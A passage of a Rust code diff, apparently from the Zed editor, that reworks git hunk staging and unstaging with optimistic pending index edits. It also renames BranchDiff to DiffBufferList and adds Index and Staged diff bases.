+            uncommitted_hunks.dedup_by(|a, b| a.buffer_range.start == b.buffer_range.start);
+        }
+
+        let index_edits = if !file_exists {
+            // The worktree file is gone: staging removes it from the index.
+            None
+        } else {
+            Some(
+                unstaged_hunks
+                    .iter()
+                    .map(|hunk| {
+                        let worktree_range = hunk.buffer_range.to_offset(&buffer_snapshot);
+                        let replacement: Arc<str> = Arc::from(
+                            buffer_snapshot
+                                .text_for_range(worktree_range)
+                                .collect::<String>(),
+                        );
+                        (hunk.diff_base_byte_range.clone(), replacement)
+                    })
+                    .collect::<Vec<_>>(),
+            )
+        };
+
+        let version = buffer_snapshot.version().clone();
+        let unstaged_pending = pending_hunks(&unstaged_hunks, &version, PendingSense::Suppress);
+        let uncommitted_pending = pending_hunks(
+            &uncommitted_hunks,
+            &version,
+            PendingSense::SetSecondaryStatus { stage: true },
+        );
+        drop(unstaged_snapshot);
+
+        let diff_state = self
+            .diffs
+            .get(&buffer_id)
+            .cloned()
+            .context("failed to find git state for buffer")?;
+        diff_state.update(cx, |diff_state, _| {
+            diff_state.remove_overlapping_pending_index_edits(&index_footprints);
+            diff_state.insert_pending_index_edits(index_edits);
+        });
+
+        if let Some(uncommitted_diff) = uncommitted_diff {
+            uncommitted_diff.update(cx, |diff, cx| {
+                diff.set_pending_hunks(&uncommitted_pending, &buffer_snapshot, cx);
+            });
+        }
+        unstaged_diff.update(cx, |diff, cx| {
+            diff.set_pending_hunks(&unstaged_pending, &buffer_snapshot, cx);
+        });
+
+        self.write_optimistic_index(buffer_id, cx);
+        Ok(())
+    }
+
+    /// Unstages the worktree changes covered by `worktree_ranges`, acting on the
+    /// given uncommitted (HEAD-vs-worktree) diff, invoked from the uncommitted
+    /// (gutter) controls. Uses the worktree->index projection (the hard part)
+    /// because the acted-on hunks are HEAD-vs-worktree.
+    pub fn unstage_uncommitted_hunks(
+        &mut self,
+        buffer: Entity<Buffer>,
+        uncommitted_diff: Entity<BufferDiff>,
+        worktree_ranges: Vec<Range<Anchor>>,
+        cx: &mut Context<Self>,
+    ) -> Result<()> {
+        if worktree_ranges.is_empty() {
+            return Ok(());
+        }
+        let buffer_snapshot = buffer.read(cx).snapshot();
+        let buffer_id = buffer_snapshot.remote_id();
+        let file_exists = buffer_snapshot
+            .file()
+            .is_some_and(|file| file.disk_state().exists());
+
+        let uncommitted_snapshot = uncommitted_diff.read(cx).snapshot(cx);
+        let unstaged_snapshot = uncommitted_snapshot
+            .secondary_diff()
+            .context("diff has no unstaged secondary")?;
+
+        let mut hunks = Vec::new();
+        for range in &worktree_ranges {
+            hunks.extend(
+                uncommitted_snapshot.hunks_intersecting_range(range.clone(), &buffer_snapshot),
+            );
+        }
+        hunks.sort_by_key(|hunk| hunk.buffer_range.start.to_offset(&buffer_snapshot));
+        hunks.dedup_by(|a, b| a.buffer_range.start == b.buffer_range.start);
+
+        let (index_edits, pending) = uncommitted_snapshot.compute_uncommitted_index_edits(
+            unstaged_snapshot,
+            false,
+            &hunks,
+            &buffer_snapshot,
+            file_exists,
+        );
+        drop(uncommitted_snapshot);
+
+        let diff_state = self
+            .diffs
+            .get(&buffer_id)
+            .cloned()
+            .context("failed to find git state for buffer")?;
+        diff_state.update(cx, |diff_state, _| {
+            diff_state.insert_pending_index_edits(index_edits)
+        });
+
+        uncommitted_diff.update(cx, |diff, cx| {
+            diff.set_pending_hunks(&pending, &buffer_snapshot, cx);
+        });
+
+        self.write_optimistic_index(buffer_id, cx);
+        Ok(())
+    }
+
+    /// Unstages staged (HEAD-vs-index) hunks covered by `index_ranges` (in the
+    /// index text buffer's coordinates), acting on the given staged diff,
+    /// invoked from the staged-changes view. The acted-on hunks already carry
+    /// an index range, so no projection is needed; optimistically suppresses
+    /// them from the staged diff.
+    pub fn unstage_staged_hunks(
+        &mut self,
+        staged_diff: Entity<BufferDiff>,
+        index_ranges: Vec<Range<Anchor>>,
+        cx: &mut Context<Self>,
+    ) -> Result<()> {
+        if index_ranges.is_empty() {
+            return Ok(());
+        }
+        let index_buffer_id = staged_diff.read(cx).buffer_id;
+        let buffer_id = *self
+            .buffer_ids_by_index_text_buffer_id
+            .get(&index_buffer_id)
+            .context("failed to find git state for index text buffer")?;
+        let diff_state = self
+            .diffs
+            .get(&buffer_id)
+            .cloned()
+            .context("failed to find git state for buffer")?;
+        let index_buffer = diff_state
+            .read(cx)
+            .index_text_buffer()
+            .context("index text is not loaded")?;
+        let index_snapshot = index_buffer.read(cx).text_snapshot();
+        let staged_snapshot = staged_diff.read(cx).snapshot(cx);
+
+        let mut hunks = Vec::new();
+        for range in &index_ranges {
+            hunks.extend(staged_snapshot.hunks_intersecting_range(range.clone(), &index_snapshot));
+        }
+        hunks.sort_by_key(|hunk| hunk.buffer_range.start.to_offset(&index_snapshot));
+        hunks.dedup_by(|a, b| a.buffer_range.start == b.buffer_range.start);
+
+        let index_edits = staged_diff
+            .read(cx)
+            .unstage_staged_hunks(&hunks, &index_snapshot);
+        let version = index_snapshot.version().clone();
+        let pending = pending_hunks(&hunks, &version, PendingSense::Suppress);
+        drop(staged_snapshot);
+
+        diff_state.update(cx, |diff_state, _| {
+            diff_state.insert_pending_index_edits(index_edits)
+        });
+        staged_diff.update(cx, |diff, cx| {
+            diff.set_pending_hunks(&pending, &index_snapshot, cx);
+        });
+
+        self.write_optimistic_index(buffer_id, cx);
+        Ok(())
+    }
+
+    /// Derives the desired index text from the buffer's optimistic patch and
+    /// schedules the write.
+    fn write_optimistic_index(&mut self, buffer_id: BufferId, cx: &mut Context<Self>) {
+        let Some(diff_state) = self.diffs.get(&buffer_id) else {
+            return;
+        };
+        let new_index_text = diff_state
+            .read(cx)
+            .pending_index_text(cx)
+            .map(|rope| rope.to_string());
+        self.write_index_text_for_buffer_id(buffer_id, new_index_text, cx);
     }
 
     pub fn open_diff_since(
@@ -1058,9 +1430,6 @@ impl GitStore {
                     });
 
                     this.update(cx, |this, cx| {
-                        cx.subscribe(&buffer_diff, Self::on_buffer_diff_event)
-                            .detach();
-
                         this.loading_diffs.remove(&(buffer_id, diff_kind));
 
                         let git_store = cx.weak_entity();
@@ -1174,6 +1543,9 @@ impl GitStore {
             let buffer_id = buffer.remote_id();
             let language = buffer.language().cloned();
             let language_registry = buffer.language_registry();
+            let index_text_file = buffer.file().map(|file| {
+                Arc::new(IndexTextFile::new(file.as_ref(), cx)) as Arc<dyn language::File>
+            });
             let text_snapshot = buffer.text_snapshot();
             this.loading_diffs.remove(&(buffer_id, kind));
 
@@ -1194,7 +1566,7 @@ impl GitStore {
                 let diff = match kind {
                     DiffKind::Unstaged => {
                         let base_text_buffer = diff_state.update(cx, |diff_state, cx| {
-                            diff_state.get_or_create_index_text_buffer(cx)
+                            diff_state.get_or_create_index_text_buffer(index_text_file.clone(), cx)
                         });
                         cx.new(|cx| {
                             BufferDiff::new_with_base_text_buffer(
@@ -1208,7 +1580,10 @@ impl GitStore {
                         let (index_text_buffer, base_text_buffer) =
                             diff_state.update(cx, |diff_state, cx| {
                                 (
-                                    diff_state.get_or_create_index_text_buffer(cx),
+                                    diff_state.get_or_create_index_text_buffer(
+                                        index_text_file.clone(),
+                                        cx,
+                                    ),
                                     diff_state.get_or_create_head_text_buffer(cx),
                                 )
                             });
@@ -1244,16 +1619,19 @@ impl GitStore {
                         unreachable!("open_diff_internal is not used for OID diffs")
                     }
                 };
-                cx.subscribe(&diff, Self::on_buffer_diff_event).detach();
                 diff
             };
-            diff_state.update(cx, |diff_state, cx| {
+            let rx = diff_state.update(cx, |diff_state, cx| {
                 diff_state.language = language;
                 diff_state.language_registry = language_registry;
 
                 match kind {
                     DiffKind::Unstaged => {
                         diff_state.unstaged_diff = Some(diff.downgrade());
+                        // The deleted (base) side of a standalone unstaged diff
+                        // is the index, so highlight it. The recalc kicked off by
+                        // `diff_bases_changed` below applies the language.
+                        diff_state.index_text_buffer_language_enabled = true;
                     }
                     DiffKind::Staged => {
                         diff_state.index_text_buffer_language_enabled = true;
@@ -1266,7 +1644,8 @@ impl GitStore {
                         let unstaged_diff = if let Some(diff) = existing_unstaged_diff {
                             diff
                         } else {
-                            let base_text_buffer = diff_state.get_or_create_index_text_buffer(cx);
+                            let base_text_buffer =
+                                diff_state.get_or_create_index_text_buffer(index_text_file, cx);
                             let unstaged_diff = cx.new(|cx| {
                                 BufferDiff::new_with_base_text_buffer(
                                     &text_snapshot,
@@ -1295,7 +1674,15 @@ impl GitStore {
                     }
                     Ok(diff)
                 })
-            })
+            });
+            let diff_state = this.diffs.get(&buffer_id).cloned();
+            if let Some(index_text_buffer) =
+                diff_state.and_then(|diff_state| diff_state.read(cx).index_text_buffer())
+            {
+                this.buffer_ids_by_index_text_buffer_id
+                    .insert(index_text_buffer.read(cx).remote_id(), buffer_id);
+            }
+            rx
         })??
         .await
     }
@@ -1997,6 +2384,8 @@ impl GitStore {
             }
             BufferStoreEvent::BufferDropped(buffer_id) => {
                 self.diffs.remove(buffer_id);
+                self.buffer_ids_by_index_text_buffer_id
+                    .retain(|_, main_buffer_id| main_buffer_id != buffer_id);
                 for diffs in self.shared_diffs.values_mut() {
                     diffs.remove(buffer_id);
                 }
@@ -2073,48 +2462,45 @@ impl GitStore {
         }
     }
 
-    fn on_buffer_diff_event(
+    fn write_index_text_for_buffer_id(
         &mut self,
-        diff: Entity<buffer_diff::BufferDiff>,
-        event: &BufferDiffEvent,
+        buffer_id: BufferId,
+        new_index_text: Option<String>,
         cx: &mut Context<Self>,
     ) {
-        if let BufferDiffEvent::HunksStagedOrUnstaged(new_index_text) = event {
-            let buffer_id = diff.read(cx).buffer_id;
-            if let Some(diff_state) = self.diffs.get(&buffer_id) {
-                let new_index_text = new_index_text.as_ref().map(|rope| rope.to_string());
-                if new_index_text.as_deref() == diff_state.read(cx).index_text.as_deref() {
-                    return;
-                }
-                let hunk_staging_operation_count = diff_state.update(cx, |diff_state, _| {
-                    diff_state.hunk_staging_operation_count += 1;
-                    diff_state.hunk_staging_operation_count
-                });
-                if let Some((repo, path)) = self.repository_and_path_for_buffer_id(buffer_id, cx) {
-                    let recv = repo.update(cx, |repo, cx| {
-                        log::debug!("hunks changed for {}", path.as_unix_str());
-                        repo.spawn_set_index_text_job(
-                            path,
-                            new_index_text,
-                            Some(hunk_staging_operation_count),
-                            cx,
-                        )
-                    });
-                    let diff = diff.downgrade();
-                    cx.spawn(async move |this, cx| {
-                        if let Ok(Err(error)) = cx.background_spawn(recv).await {
-                            diff.update(cx, |diff, cx| {
-                                diff.clear_pending_hunks(cx);
-                            })
-                            .ok();
-                            this.update(cx, |_, cx| cx.emit(GitStoreEvent::IndexWriteError(error)))
-                                .ok();
-                        }
-                    })
-                    .detach();
-                }
+        let Some(diff_state) = self.diffs.get(&buffer_id) else {
+            return;
+        };
+        let hunk_staging_operation_count = diff_state.update(cx, |diff_state, _| {
+            diff_state.hunk_staging_operation_count += 1;
+            diff_state.hunk_staging_operation_count
+        });
+        let Some((repo, path)) = self.repository_and_path_for_buffer_id(buffer_id, cx) else {
+            return;
+        };
+        let recv = repo.update(cx, |repo, cx| {
+            log::debug!("hunks changed for {}", path.as_unix_str());
+            repo.spawn_set_index_text_job(
+                path,
+                new_index_text,
+                Some(hunk_staging_operation_count),
+                cx,
+            )
+        });
+        cx.spawn(async move |this, cx| {
+            if let Ok(Err(error)) = cx.background_spawn(recv).await {
+                this.update(cx, |this, cx| {
+                    if let Some(diff_state) = this.diffs.get(&buffer_id).cloned() {
+                        diff_state.update(cx, |diff_state, cx| {
+                            diff_state.clear_pending_index_edits_and_hunks(cx);
+                        });
+                    }
+                    cx.emit(GitStoreEvent::IndexWriteError(error));
+                })
+                .ok();
             }
-        }
+        })
+        .detach();
     }
 
     fn local_worktree_git_repos_changed(
@@ -3951,6 +4337,7 @@ impl BufferGitState {
             hunk_staging_operation_count_as_of_write: 0,
             head_text: Default::default(),
             index_text: Default::default(),
+            pending_index_edits: Some(Vec::new()),
             oid_texts: Default::default(),
             head_text_buffer: WeakEntity::new_invalid(),
             index_text_buffer: WeakEntity::new_invalid(),
@@ -3978,13 +4365,27 @@ impl BufferGitState {
         buffer
     }
 
-    fn get_or_create_index_text_buffer(&mut self, cx: &mut Context<Self>) -> Entity<Buffer> {
+    fn index_text_buffer(&self) -> Option<Entity<Buffer>> {
+        self.index_text_buffer.upgrade()
+    }
+
+    fn get_or_create_index_text_buffer(
+        &mut self,
+        file: Option<Arc<dyn language::File>>,
+        cx: &mut Context<Self>,
+    ) -> Entity<Buffer> {
         if let Some(buffer) = self.index_text_buffer.upgrade() {
+            if let Some(file) = file {
+                buffer.update(cx, |buffer, cx| buffer.file_updated(file, cx));
+            }
             return buffer;
         }
         let index_text = self.index_text.clone();
         let buffer = cx.new(|cx| {
             let mut buffer = Buffer::local(index_text.as_deref().unwrap_or(""), cx);
+            if let Some(file) = file {
+                buffer.file_updated(file, cx);
+            }
             buffer.set_capability(Capability::ReadOnly, cx);
             buffer
         });
@@ -4055,6 +4456,11 @@ impl BufferGitState {
         self.staged_diff.as_ref().and_then(|(set, _)| set.upgrade())
     }
 
+    fn staged_diff_and_index_text_buffer(&self) -> Option<(Entity<BufferDiff>, Entity<Buffer>)> {
+        let (diff, index_text_buffer) = self.staged_diff.as_ref()?;
+        Some((diff.upgrade()?, index_text_buffer.clone()))
+    }
+
     fn uncommitted_diff(&self) -> Option<Entity<BufferDiff>> {
         self.uncommitted_diff.as_ref().and_then(|set| set.upgrade())
     }
@@ -4076,6 +4482,100 @@ impl BufferGitState {
         }
     }
 
+    fn remove_overlapping_pending_index_edits(&mut self, ranges: &[Range<usize>]) {
+        if let Some(edits) = &mut self.pending_index_edits {
+            edits.retain(|(existing, _)| {
+                ranges.iter().all(|footprint| {
+                    existing.end < footprint.start || footprint.end < existing.start
+                })
+            });
+        }
+    }
+
+    fn insert_pending_index_edits(&mut self, edits: Option<Vec<(Range<usize>, Arc<str>)>>) {
+        match edits {
+            None => {
+                self.pending_index_edits = None;
+            }
+            Some(new_edits) => {
+                let mut edits = self.pending_index_edits.take().unwrap_or_default();
+                for (range, replacement) in new_edits {
+                    edits.retain(|(existing, _)| {
+                        existing.end < range.start || range.end < existing.start
+                    });
+                    let position =
+                        edits.partition_point(|(existing, _)| existing.start < range.start);
+                    edits.insert(position, (range, replacement));
+                }
+                self.pending_index_edits = Some(edits);
+            }
+        }
+    }
+
+    fn pending_index_text(&self, cx: &App) -> Option<Rope> {
+        let index_text_buffer = self.index_text_buffer.upgrade()?;
+        let edits = self.pending_index_edits.as_ref()?;
+        #[cfg(debug_assertions)]
+        for window in edits.windows(2) {
+            debug_assert!(window[0].0.end <= window[1].0.start);
+        }
+        let mut index_text = index_text_buffer.read(cx).text_snapshot().as_rope().clone();
+        for (old_range, replacement_text) in edits.iter().rev() {
+            index_text.replace(old_range.clone(), replacement_text);
+        }
+        Some(index_text)
+    }
+
+    fn clear_pending_index_edits(&mut self) {
+        self.pending_index_edits = Some(Vec::new());
+    }
+
+    fn clear_pending_hunks(&mut self, cx: &mut Context<Self>) {
+        for diff in [
+            self.uncommitted_diff(),
+            self.unstaged_diff(),
+            self.staged_diff(),
+        ]
+        .into_iter()
+        .flatten()
+        {
+            diff.update(cx, |diff, cx| diff.clear_pending_hunks(cx));
+        }
+    }
+
+    fn mark_whole_file_stage_or_unstage_pending(
+        &mut self,
+        stage: bool,
+        buffer_snapshot: &text::BufferSnapshot,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(uncommitted_diff) = self.uncommitted_diff() {
+            uncommitted_diff.update(cx, |uncommitted_diff, cx| {
+                uncommitted_diff.mark_all_hunks_pending(stage, buffer_snapshot, cx);
+            });
+        }
+
+        if stage {
+            if let Some(unstaged_diff) = self.unstaged_diff() {
+                unstaged_diff.update(cx, |unstaged_diff, cx| {
+                    unstaged_diff.suppress_all_hunks_pending(buffer_snapshot, cx);
+                });
+            }
+        } else if let Some(staged_diff) = self.staged_diff()
+            && let Some(index_text_buffer) = self.index_text_buffer()
+        {
+            let index_snapshot = index_text_buffer.read(cx).text_snapshot();
+            staged_diff.update(cx, |staged_diff, cx| {
+                staged_diff.suppress_all_hunks_pending(&index_snapshot, cx);
+            });
+        }
+    }
+
+    fn clear_pending_index_edits_and_hunks(&mut self, cx: &mut Context<Self>) {
+        self.clear_pending_index_edits();
+        self.clear_pending_hunks(cx);
+    }
+
     fn handle_base_texts_updated(
         &mut self,
         buffer: text::BufferSnapshot,
@@ -4089,16 +4589,17 @@ impl BufferGitState {
         };
 
         let diff_bases_change = match mode {
-            Mode::HeadOnly => DiffBasesChange::SetHead(message.committed_text),
-            Mode::IndexOnly => DiffBasesChange::SetIndex(message.staged_text),
-            Mode::IndexMatchesHead => DiffBasesChange::SetBoth(message.committed_text),
-            Mode::IndexAndHead => DiffBasesChange::SetEach {
+            Mode::HeadOnly => Some(DiffBasesChange::SetHead(message.committed_text)),
+            Mode::IndexOnly => Some(DiffBasesChange::SetIndex(message.staged_text)),
+            Mode::IndexMatchesHead => Some(DiffBasesChange::SetBoth(message.committed_text)),
+            Mode::IndexAndHead => Some(DiffBasesChange::SetEach {
                 index: message.staged_text,
                 head: message.committed_text,
-            },
+            }),
+            Mode::Unchanged => None,
         };
 
-        self.diff_bases_changed(buffer, Some(diff_bases_change), cx);
+        self.diff_bases_changed(buffer, diff_bases_change, cx);
     }
 
     pub fn wait_for_recalculation(&mut self) -> Option<impl Future<Output = ()> + use<>> {
@@ -4403,7 +4904,9 @@ impl BufferGitState {
                 return Ok(());
             }
 
-            this.update(cx, |_, cx| {
+            this.update(cx, |this, cx| {
+                this.clear_pending_index_edits();
+
                 if let (Some(staged_diff), Some(new_staged_diff)) =
                     (staged_diff.as_ref(), new_staged_diff.clone())
                 {
@@ -4422,7 +4925,7 @@ impl BufferGitState {
                                 head_text_buffer.fast_forward(edited_head_text, cx)
                             });
                         }
-                        diff.set_snapshot(new_staged_diff, cx)
+                        diff.set_snapshot_with_secondary(new_staged_diff, None, true, cx)
                     });
                 }
 
@@ -4437,7 +4940,7 @@ impl BufferGitState {
                                 index_text_buffer.fast_forward(edited_index_text, cx)
                             });
                         }
-                        diff.set_snapshot(new_unstaged_diff, cx)
+                        diff.set_snapshot_with_secondary(new_unstaged_diff, None, true, cx)
                     }))
                 } else {
                     None
@@ -5244,21 +5747,23 @@ impl Repository {
                         diff_state.update(cx, |diff_state, cx| {
                             use proto::update_diff_bases::Mode;
 
-                            if let Some((diff_bases_change, (client, project_id))) =
-                                diff_bases_change.clone().zip(downstream_client)
-                            {
-                                let (staged_text, committed_text, mode) = match diff_bases_change {
-                                    DiffBasesChange::SetIndex(index) => {
-                                        (index, None, Mode::IndexOnly)
-                                    }
-                                    DiffBasesChange::SetHead(head) => (None, head, Mode::HeadOnly),
-                                    DiffBasesChange::SetEach { index, head } => {
-                                        (index, head, Mode::IndexAndHead)
-                                    }
-                                    DiffBasesChange::SetBoth(text) => {
-                                        (None, text, Mode::IndexMatchesHead)
-                                    }
-                                };
+                            if let Some((client, project_id)) = downstream_client {
+                                let (staged_text, committed_text, mode) =
+                                    match diff_bases_change.clone() {
+                                        Some(DiffBasesChange::SetIndex(index)) => {
+                                            (index, None, Mode::IndexOnly)
+                                        }
+                                        Some(DiffBasesChange::SetHead(head)) => {
+                                            (None, head, Mode::HeadOnly)
+                                        }
+                                        Some(DiffBasesChange::SetEach { index, head }) => {
+                                            (index, head, Mode::IndexAndHead)
+                                        }
+                                        Some(DiffBasesChange::SetBoth(text)) => {
+                                            (None, text, Mode::IndexMatchesHead)
+                                        }
+                                        None => (None, None, Mode::Unchanged),
+                                    };
                                 client
                                     .send(proto::UpdateDiffBases {
                                         project_id: project_id.to_proto(),
@@ -6454,33 +6959,15 @@ impl Repository {
                                         else {
                                             continue;
                                         };
-                                        let Some(uncommitted_diff) =
-                                            diff_state.read(cx).uncommitted_diff.as_ref().and_then(
-                                                |uncommitted_diff| uncommitted_diff.upgrade(),
-                                            )
-                                        else {
-                                            continue;
-                                        };
                                         let buffer_snapshot = buffer.read(cx).text_snapshot();
-                                        let file_exists = buffer
-                                            .read(cx)
-                                            .file()
-                                            .is_some_and(|file| file.disk_state().exists());
                                         let hunk_staging_operation_count =
                                             diff_state.update(cx, |diff_state, cx| {
-                                                uncommitted_diff.update(
-                                                    cx,
-                                                    |uncommitted_diff, cx| {
-                                                        uncommitted_diff
-                                                            .stage_or_unstage_all_hunks(
-                                                                stage,
-                                                                &buffer_snapshot,
-                                                                file_exists,
-                                                                cx,
-                                                            );
-                                                    },
-                                                );
-
+                                                diff_state
+                                                    .mark_whole_file_stage_or_unstage_pending(
+                                                        stage,
+                                                        &buffer_snapshot,
+                                                        cx,
+                                                    );
                                                 diff_state.hunk_staging_operation_count += 1;
                                                 diff_state.hunk_staging_operation_count
                                             });
@@ -6547,14 +7034,8 @@ impl Repository {
                                         if result.is_ok() {
                                             diff_state.hunk_staging_operation_count_as_of_write =
                                                 hunk_staging_operation_count;
-                                        } else if let Some(uncommitted_diff) =
-                                            &diff_state.uncommitted_diff
-                                        {
-                                            uncommitted_diff
-                                                .update(cx, |uncommitted_diff, cx| {
-                                                    uncommitted_diff.clear_pending_hunks(cx);
-                                                })
-                                                .ok();
+                                        } else {
+                                            diff_state.clear_pending_hunks(cx);
                                         }
                                     })
                                     .ok();
diff --git a/crates/project/src/git_store/branch_diff.rs b/crates/project/src/git_store/diff_buffer_list.rs
similarity index 76%
rename from crates/project/src/git_store/branch_diff.rs
rename to crates/project/src/git_store/diff_buffer_list.rs
index 67aa198945d239..2f1586d3e04d1b 100644
--- a/crates/project/src/git_store/branch_diff.rs
+++ b/crates/project/src/git_store/diff_buffer_list.rs
@@ -24,6 +24,8 @@ use crate::{
 #[derive(Debug, Clone, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
 pub enum DiffBase {
     Head,
+    Index,
+    Staged,
     Merge { base_ref: SharedString },
 }
 
@@ -33,7 +35,7 @@ impl DiffBase {
     }
 }
 
-pub struct BranchDiff {
+pub struct DiffBufferList {
     diff_base: DiffBase,
     repo: Option<Entity<Repository>>,
     project: Entity<Project>,
@@ -52,9 +54,9 @@ pub enum BranchDiffEvent {
     DiffBaseChanged,
 }
 
-impl EventEmitter<BranchDiffEvent> for BranchDiff {}
+impl EventEmitter<BranchDiffEvent> for DiffBufferList {}
 
-impl BranchDiff {
+impl DiffBufferList {
     pub fn new(
         source: DiffBase,
         project: Entity<Project>,
@@ -350,8 +352,13 @@ impl BranchDiff {
                     .as_ref()
                     .and_then(|t| t.entries.get(&item.repo_path))
                     .cloned();
-                let Some(status) = self.merge_statuses(Some(item.status), branch_diff.as_ref())
-                else {
+                let Some(status) = (match self.diff_base {
+                    DiffBase::Head | DiffBase::Merge { .. } => {
+                        self.merge_statuses(Some(item.status), branch_diff.as_ref())
+                    }
+                    DiffBase::Index => item.status.staging().has_unstaged().then_some(item.status),
+                    DiffBase::Staged => item.status.staging().has_staged().then_some(item.status),
+                }) else {
                     continue;
                 };
                 if !status.has_changes() {
@@ -363,7 +370,13 @@ impl BranchDiff {
                 else {
                     continue;
                 };
-                let task = Self::load_buffer(branch_diff, project_path, repo.clone(), cx);
+                let task = Self::load_buffer(
+                    self.diff_base.clone(),
+                    branch_diff,
+                    project_path,
+                    repo.clone(),
+                    cx,
+                );
 
                 output.push(DiffBuffer {
                     repo_path: item.repo_path.clone(),
@@ -383,8 +396,13 @@ impl BranchDiff {
                 let Some(project_path) = repo.read(cx).repo_path_to_project_path(&path, cx) else {
                     continue;
                 };
-                let task =
-                    Self::load_buffer(Some(branch_diff.clone()), project_path, repo.clone(), cx);
+                let task = Self::load_buffer(
+                    self.diff_base.clone(),
+                    Some(branch_diff.clone()),
+                    project_path,
+                    repo.clone(),
+                    cx,
+                );
 
                 let file_status = diff_status_to_file_status(branch_diff);
 
@@ -400,44 +418,87 @@ impl BranchDiff {
 
     #[instrument(skip_all)]
     fn load_buffer(
+        diff_base: DiffBase,
         branch_diff: Option<git::status::TreeDiffStatus>,
         project_path: crate::ProjectPath,
         repo: Entity<Repository>,
         cx: &Context<'_, Project>,
-    ) -> Task<Result<(Entity<Buffer>, Entity<BufferDiff>, Entity<ConflictSet>)>> {
+    ) -> Task<Result<LoadedDiffBuffer>> {
         let task = cx.spawn(async move |project, cx| {
             let buffer = project
                 .update(cx, |project, cx| project.open_buffer(project_path, cx))?
                 .await?;
 
-            let changes = if let Some(entry) = branch_diff {
-                let oid = match entry {
-                    git::status::TreeDiffStatus::Added { .. } => None,
-                    git::status::TreeDiffStatus::Modified { old, .. }
-                    | git::status::TreeDiffStatus::Deleted { old } => Some(old),
-                };
-                project
-                    .update(cx, |project, cx| {
-                        project.git_store().update(cx, |git_store, cx| {
-                            git_store.open_diff_since(oid, buffer.clone(), repo, cx)
-                        })
-                    })?
-                    .await?
+            let main_buffer = buffer.clone();
+            let load_conflict_set = diff_base != DiffBase::Staged;
+            let (display_buffer, changes) = match diff_base {
+                DiffBase::Head => {
+                    let diff = project
+                        .update(cx, |project, cx| {
+                            project.open_uncommitted_diff(buffer.clone(), cx)
+                        })?
+                        .await?;
+                    (buffer, diff)
+                }
+                DiffBase::Index => {
+                    let diff = project
+                        .update(cx, |project, cx| {
+                            project.open_unstaged_diff(buffer.clone(), cx)
+                        })?
+                        .await?;
+                    (buffer, diff)
+                }
+                DiffBase::Staged => {
+                    let (diff, index_buffer) = project
+                        .update(cx, |project, cx| {
+                            project.open_staged_diff(buffer.clone(), cx)
+                        })?
+                        .await?;
+                    (index_buffer, diff)
+                }
+                DiffBase::Merge { .. } => {
+                    let diff = if let Some(entry) = branch_diff {
+                        let oid = match entry {
+                            git::status::TreeDiffStatus::Added { .. } => None,
+                            git::status::TreeDiffStatus::Modified { old, .. }
+                            | git::status::TreeDiffStatus::Deleted { old } => Some(old),
+                        };
+                        project
+                            .update(cx, |project, cx| {
+                                project.git_store().update(cx, |git_store, cx| {
+                                    git_store.open_diff_since(oid, buffer.clone(), repo, cx)
+                                })
+                            })?
+                            .await?
+                    } else {
+                        project
+                            .update(cx, |project, cx| {
+                                project.open_uncommitted_diff(buffer.clone(), cx)
+                            })?
+                            .await?
+                    };
+                    (buffer, diff)
+                }
+            };
+            let conflict_set = if load_conflict_set {
+                Some(
+                    project
+                        .update(cx, |project, cx| {
+                            project.git_store().update(cx, |git_store, cx| {
+                                git_store.open_conflict_set(main_buffer.clone(), cx)
+                            })
+                        })?
+                        .await,
+                )
             } else {
-                project
-                    .update(cx, |project, cx| {
-                        project.open_uncommitted_diff(buffer.clone(), cx)
-                    })?
-                    .await?
+                None
             };
-            let conflict_set = project
-                .update(cx, |project, cx| {
-                    project.git_store().update(cx, |git_store, cx| {
-                        git_store.open_conflict_set(buffer.clone(), cx)
-                    })
-                })?
-                .await;
-            Ok((buffer, changes, conflict_set))
+            Ok(LoadedDiffBuffer {
+                display_buffer,
+                main_buffer,
+                diff: changes,
+                conflict_set,
+            })
         });
         task
     }
@@ -461,9 +522,17 @@ fn diff_status_to_file_status(branch_diff: &git::status::TreeDiffStatus) -> File
     file_status
 }
 
+#[derive(Debug)]
+pub struct LoadedDiffBuffer {
+    pub display_buffer: Entity<Buffer>,
+    pub main_buffer: Entity<Buffer>,
+    pub diff: Entity<BufferDiff>,
+    pub conflict_set: Option<Entity<ConflictSet>>,
+}
+
 #[derive(Debug)]
 pub struct DiffBuffer {
     pub repo_path: RepoPath,
     pub file_status: FileStatus,
-    pub load: Task<Result<(Entity<Buffer>, Entity<BufferDiff>, Entity<ConflictSet>)>>,
+    pub load: Task<Result<LoadedDiffBuffer>>,
 }
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 7043c243d83454..6a08a291e31d88 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -3245,12 +3245,14 @@ impl Project {
             .update(cx, |git_store, cx| git_store.open_unstaged_diff(buffer, cx))
     }
 
+    /// Opens the staged (HEAD-vs-index) diff for the given buffer, along with
+    /// the index text buffer that is the diff's main buffer.
     #[ztracing::instrument(skip_all)]
     pub fn open_staged_diff(
         &mut self,
         buffer: Entity<Buffer>,
         cx: &mut Context<Self>,
-    ) -> Task<Result<Entity<BufferDiff>>> {
+    ) -> Task<Result<(Entity<BufferDiff>, Entity<Buffer>)>> {
         if self.is_disconnected(cx) {
             return Task::ready(Err(anyhow!(ErrorCode::Disconnected)));
         }
@@ -3272,6 +3274,59 @@ impl Project {
         })
     }
 
+    /// Stages the worktree changes covered by `worktree_ranges` (in the worktree
+    /// buffer's coordinates), acting on the given unstaged diff. Used by both the
+    /// unstaged-changes view and the uncommitted (gutter) controls.
+    pub fn stage_hunks(
+        &mut self,
+        buffer: Entity<Buffer>,
+        unstaged_diff: Entity<BufferDiff>,
+        worktree_ranges: Vec<Range<Anchor>>,
+        cx: &mut Context<Self>,
+    ) -> Result<()> {
+        if self.is_disconnected(cx) {
+            return Err(anyhow!(ErrorCode::Disconnected));
+        }
+        self.git_store.update(cx, |git_store, cx| {
+            git_store.stage_hunks(buffer, unstaged_diff, worktree_ranges, cx)
+        })
+    }
+
+    /// Unstages the worktree changes covered by `worktree_ranges` (in the worktree
+    /// buffer's coordinates), acting on the given uncommitted diff. Used by the
+    /// uncommitted (gutter) controls.
+    pub fn unstage_uncommitted_hunks(
+        &mut self,
+        buffer: Entity<Buffer>,
+        uncommitted_diff: Entity<BufferDiff>,
+        worktree_ranges: Vec<Range<Anchor>>,
+        cx: &mut Context<Self>,
+    ) -> Result<()> {
+        if self.is_disconnected(cx) {
+            return Err(anyhow!(ErrorCode::Disconnected));
+        }
+        self.git_store.update(cx, |git_store, cx| {
+            git_store.unstage_uncommitted_hunks(buffer, uncommitted_diff, worktree_ranges, cx)
+        })
+    }
+
